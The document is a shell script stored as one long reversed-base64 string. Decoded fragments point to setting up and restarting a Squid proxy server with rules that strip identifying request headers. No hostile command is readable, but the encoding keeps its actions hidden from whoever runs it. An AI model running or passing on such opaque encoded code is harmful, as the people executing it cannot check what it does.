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IgAiCuVGa0ByOd1FIiMGcv9Vb15GJiACdn1CIiMGcvRiIgs1WgYWasVGIgACIgACIgoQZ15Wa052bjBCIgACIgACIgACIgoQMsRGI0VHc0BiJmASM1V3YgQXdwRHIgACIgACIgACIgAiCyACclVGbzBCIgACIgACIgACIgowYw9GI0V2cuVHIgACIgACIgACIgAiCiMGcv9Vb15GJgkHIxASZyRnblBycvJXZtVnbg8GbvNHIh52bpN2YlxWZzBiIgITbyVmdtAyZz1GIgACIgACIgACIgAiCuVGa0ByOd1FIvJXZtVnbkAif9AyYw9GJgECIbtFImlGblBCIgACIgACIKUWdulGdu92YgACIgACIgACIgACIKEDbkBCd1BHdgYiJgETd1NGI0VHc0BCIgACIgACIgACIgogMgAXZlx2cgACIgACIgACIgACIKMGcvBCdlNnb1BCIgACIgACIgACIgogIjB3bf1WduRCI5BSMgUmc05WZg42bpNGcvBSYuVHIh52bpN2YlxWZzBiIgITbyVmdtAyZz1GIgACIgACIgACIgAiCuVGa0ByOd1FIjB3bkAietAyWbBiZpBCIgACIgACIKEDbkBCd1BHdgYiJgETd1NGI0VHc0BCIgACIgACIKMGcvBCZhVmcgACIgACIgAiCiAiOu9WajB3bgICIl5WLgc2ctBCIgACIgACIK8GZgsTXdByYw9GJgoXLgs1WgUGbph2dgACIgowajFmYgACIgoQKiQncvBHZpVXczRiIg8GajVGKkACP8wDIl52bkBCIgAiCgsyKuBCdlxGIgACIgACIgogIuRiI9MGcv9Vb15GIgACIgACIgoAdy9Gck0TXuRyWw9mckBCIgACIgACIKISKiQncvBHJiASd6FWLgc2cthCJgkiI+ICIy0mclZXLgc2cthCJgkiId5GJbJCIkJXZ21CInNXboQCIiASZtAyboNWZgACIgACIgAiCpIjZtAyJ6cCIk1CI0V3Y8dSf5QCI05WayB3enAyJgcCIG1CIrdXY8lGJg8GajVGKk0Ddy9GcgACIgACIgAiCvRGI7kGIkFWZyBSZslGa3BCIgAiCx0jbgACIgogIklWdxNHIz9GdyVWdwBib1BichRXa1FlIgEWbh1CInNXbJoQamlAIgogIm52bj5CZpVXcz9yMklWdxN3LjRXZvISPG50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